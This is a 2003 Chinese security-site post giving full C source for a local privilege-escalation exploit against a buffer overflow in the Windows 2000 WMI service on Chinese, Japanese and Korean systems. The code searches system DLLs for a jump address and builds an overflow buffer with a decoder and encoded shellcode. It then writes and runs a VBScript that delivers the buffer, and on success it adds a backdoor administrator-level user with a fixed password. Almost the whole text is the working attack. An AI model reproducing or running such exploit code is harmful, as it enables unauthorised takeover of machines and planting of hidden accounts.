windows 2000 wmi service buffer overflow expolit
创建时间:2003-05-28
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)
windows 2000 wmi service buffer overflow expolit
ey4s<cooleyas@21cn.com>
2003-04-27
WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U
wmi默认只有administrators才可以远程连接,所以只有能在目标系统上运行程序的用户才能利用。
本地用户可用来提升权限。
此程序可用于简体中文、繁体中文、日文、韩文系统sp0-3上。
不需要指定任何参数,程序会自动搜索可用的call ebx地址。
用c代码来与wmi service通讯太复杂了,所以程序是生成两个文件,一个是存放exploit buffer的
buff.txt,一个是xWMI.vbs。
/*----------------------------------------------------------------------------------*/
#include <windows.h>
#include <stdio.h>
#define NOPCODE 0x4F//0x4F//'O'
#define BUFFLEN (65536+8)/2
#define OVERPOINT 0x260//溢出点-0x14 SEH-0x4
int g_iCodePage;
char g_szDllList[5][16]={"kernel32.dll",
"advapi32.dll",
"user32.dll",
"gdi32.dll",
"ole32.dll"};
char *g_szWideCharShort;
unsigned char jmpover[]="/x41/x90/x41/x68";//0x41 inc ecx , 0x68 push num32
unsigned char decoder[]=
"/x4F/x75/x05/x74/x03/x4E/xC3/x4F/x53/x90/x5E/x66/xAD/x4E/x46/x4F"
"/x43/x66/x3D/x97/x6F/x90/x51/x90/x59/x75/xF0/x53/x56/x5F/x4A/x57"
"/x43/x66/xAD/x50/x43/x66/x3D/x4F/x00/x90/x59/x74/xD9/x4E/x2C/x64"
"/x50/x59/x46/x4F/x47/x90/x43/x66/xAD/x50/x4B/x58/x2C/x64/x4A/x57"
"/x51/x90/x90/x5F/x03/xFF/x03/xFF/x03/xFF/x03/xFF/x91/x03/xCF/x91"
"/x90/x5F/xAA/x90/x41/x74/xCA/x90/x51/x90/x59/x75/xC4/x4E/x97/x6F";
unsigned char xShellCode[]=
"iilorprojhinoldhddsekkleglhqinmdddkhdghlrosiloqllokggpdgsglokjkldgsglokrfddgsolo"
"hrehggrqijikielogsdgsolosfggpmlgpedrsgnjkhdlimislgpkdhhirfrkimisirlopqlohjfhdgpg"
"qeredgpeggpmjjlodllohjepdgpgperedfdgpelodddgpgrodfrogklosnlosflmdjlgpkdsikigssqd"
"lgpjdhlmdjlgpkdlikiglohjspssqdlgpjdhlmdjggpdidlgpkdjiklohjspssqdolssssssssidlodj"
"ssqdrlirsssssshkjikhidkfjsjghejhjhkfjikgkgddikjmjrhikljijgddigjpjijikdddjgjqjhfd"
"fsjgfdjrjikhfrjikljifdkikgjikffdklklfdgejefefrgmjrhlfdfsjejhjhfdfjfjfdjrjikhfdjp"
"jsjgjejpjkkfjskikdfdjejhjqjmjrjmkgkhkfjekhjskfkgfdklklfdfsjejhjhdd";
int SearchRET();
BOOL MakeWideCharList();
DWORD WINAPI func(LPVOID lp);
void main()
{
int retaddr,i,j,iPathLen, iwLen;
unsigned char *pStr, widecharbuff[0x500], multibytebuff[0x500];
unsigned char szVBS[0x1000], szPath[256], szPath2[256];
FILE *f;
printf( "xWMI -> win2k WMI service buffer overflow exploit/n"
"WMIService -> CreateDirectoryExW -> RtlDosPathNameToNtPathName_U/n"
"for win2k which default codepage is GB、BIG5、Korean、JP sp0-3/n"
"Written by ey4s<cooleyas@21cn.com>/n"
"2003-04-27/n"
"thanks to yuange/n/n");
MakeWideCharList();
retaddr = SearchRET();
if(!retaddr) return;
pStr = (unsigned char *)malloc(40000);
memset(pStr, 0, 40000);
//get current path
iPathLen = GetCurrentDirectoryA(sizeof(szPath)-1, szPath);
if(!iPathLen)
{
printf("GetCurrentDirectoryA failed:%d/n", GetLastError());
return;
}
/*转换字符*/
memset(widecharbuff, 0, sizeof(widecharbuff));
//jmp over
memcpy(widecharbuff,jmpover,4);
//jmp addr
memcpy(widecharbuff+4,&retaddr,4);
//decoder
memcpy(widecharbuff+8,decoder,sizeof(decoder));
iwLen=wcslen((unsigned short *)widecharbuff);
i=WideCharToMultiByte(g_iCodePage,0,(unsigned short *)widecharbuff,
iwLen*2,multibytebuff,0x1000,0,0);
i=strlen(multibytebuff);
//组合buffer
memset(pStr, NOPCODE, BUFFLEN+iwLen);
memcpy(pStr, szPath, iPathLen);
pStr[iPathLen]=(BYTE)'//';
//jmpover & jmpaddr
memcpy(pStr+OVERPOINT/2, multibytebuff, i);
//real shellcode
memcpy(pStr+OVERPOINT/2+i, xShellCode, strlen(xShellCode));
f = fopen("buff.txt", "w");
fprintf(f, "%s", pStr);
fclose(f);
free(pStr);
printf("write exploit buffer to file %s//buff.txt/n", szPath);
//replace '/' to '//'
memset(szPath2, 0, sizeof(szPath2));
for(i=0,j=0;i<strlen(szPath);i++,j++)
{
if(szPath[i]==(BYTE)'//')
szPath2[j++]=szPath[i];
szPath2[j]=szPath[i];
}
sprintf(szVBS, "Set fso = CreateObject(/"Scripting.FileSystemObject/")/n"
"set f2=fso.OpenTextFile(/"buff.txt/",1,false,TristateTrue)/n"
"szBuffer=f2.ReadAll/n"
"f2.Close/n"
"Set fso = Nothing/n"
"Set ServiceSet = GetObject(/"winmgmts:{impersonationLevel=impersonate}/")._/n"
"ExecQuery(/"select * from Win32_Directory where Name='%s'/")/n"
"for each Service in ServiceSet/n"
" WScript.Echo /"if you can see thie line,it maybe success!/"/n"
" Service.Copy(szBuffer)/n"
"next/n"
,szPath2);
f = fopen("xWMI.vbs", "w");
fprintf(f, "%s", szVBS);
fclose(f);
printf("create exploit execute file %s//xWMI.vbs/n", szPath);
printf( "Execute exploit file %s//xWMI.vbs/n"
"if success, exploit will add a user xx password is 1a!.9nH/n", szPath);
CreateThread(0, 0, func, NULL, 0, NULL);
Sleep(20000);
DeleteFile("buff.txt");
DeleteFile("xWMI.vbs");
printf("Done./n");
return;
}
DWORD WINAPI func(LPVOID lp)
{
system("cscript.exe xWMI.vbs");
return 0;
}
BOOL MakeWideCharList()
{
int iCodePage,i,j,ret;
char szCodePage[128];
unsigned char wbuff[4];
unsigned char wbuff2[4];
unsigned char buff[4];
if(!GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_IDEFAULTCODEPAGE,
szCodePage, sizeof(szCodePage)-1))
{
printf("GetLocaleInfo failed:%d/n", GetLastError());
return FALSE;
}
iCodePage = atoi(szCodePage);
printf("System default codepage is %d/n", iCodePage);
g_iCodePage = iCodePage;
g_szWideCharShort = (char *)malloc(65536);
memset(g_szWideCharShort, 1 , 65536);
for(i=0;i<256;i++)
{
for(j=0;j<256;j++)//for 3
{
if((i==0) && (j==0)) j=1;
memset(buff, 0, 4);
memset(wbuff2, 0, 4);
wbuff[0]=(BYTE)i;
wbuff[1]=(BYTE)j;
wbuff[2]=(BYTE)'/0';
wbuff[3]=(BYTE)'/0';
if(!(ret = WideCharToMultiByte(iCodePage, 0,
(unsigned short *)wbuff, 1, buff, 2, 0,0)))
{
printf("WideCharToMultiByte error:%d/n", GetLastError());
return FALSE;
}
if(!(ret = MultiByteToWideChar(iCodePage, 0, buff,
strlen(buff), (unsigned short *)wbuff2, 1)))
{
printf("MultiByteToWideChar error:%d %d/n",
GetLastError(), ret);
return FALSE;
}
//判断经过两次转换后是否改变
//只要在任何一种code page改变都视为非法wide char范围
if(*(DWORD *)wbuff != *(DWORD *)wbuff2)
g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] =
(BYTE)'/0';
}
}
return TRUE;
}
int SearchRET()
{
HMODULE h;
BOOL bDone;
BYTE *ptr;
int i,j,pos,index1,index2,k1,k2,k3,k4;
for(i=0;i<5;i++)
{
bDone = FALSE;
pos = 0;
h = LoadLibrary(g_szDllList[i]);
if(h == NULL)
{
printf("LoadLibrary %s error:%d/n",
g_szDllList[i], GetLastError());
continue;
}
ptr = (BYTE*)h;
printf("start search FFD3 in %s/n", g_szDllList[i]);
for(j=0;!bDone;j++)
{
__try
{
//FF D3 --> call ebx
//不用包含00的地址
if(ptr[j] == (BYTE)'/xFF' && ptr[j+1] == (BYTE)'/xD3')
{
pos = (int)ptr + j;
k1=((pos&0x00FF0000)>>8);
k2=((pos&0xFF000000)>>24);
k3=((pos&0xFF)<<8);
k4=((pos>>8)&0xFF);
index1 = k1 + k2;
index2 = k3 + k4;
if( (g_szWideCharShort[index1] == (BYTE)'/x00') ||
(g_szWideCharShort[index2] == (BYTE)'/x00') ||
(k1 == 0) ||
(k2 == 0) ||
(k3 == 0) ||
(k4 == 0) )
pos = 0;
}
}//end of try
__except(EXCEPTION_EXECUTE_HANDLER)
{
bDone = TRUE;
}
if(pos) break;
}
if(h)
{
FreeLibrary(h);
h = NULL;
}
if(pos)
{
printf("Found opcode at 0x%.8X in %s/n", pos, g_szDllList[i]);
break;
}
}
return pos;
}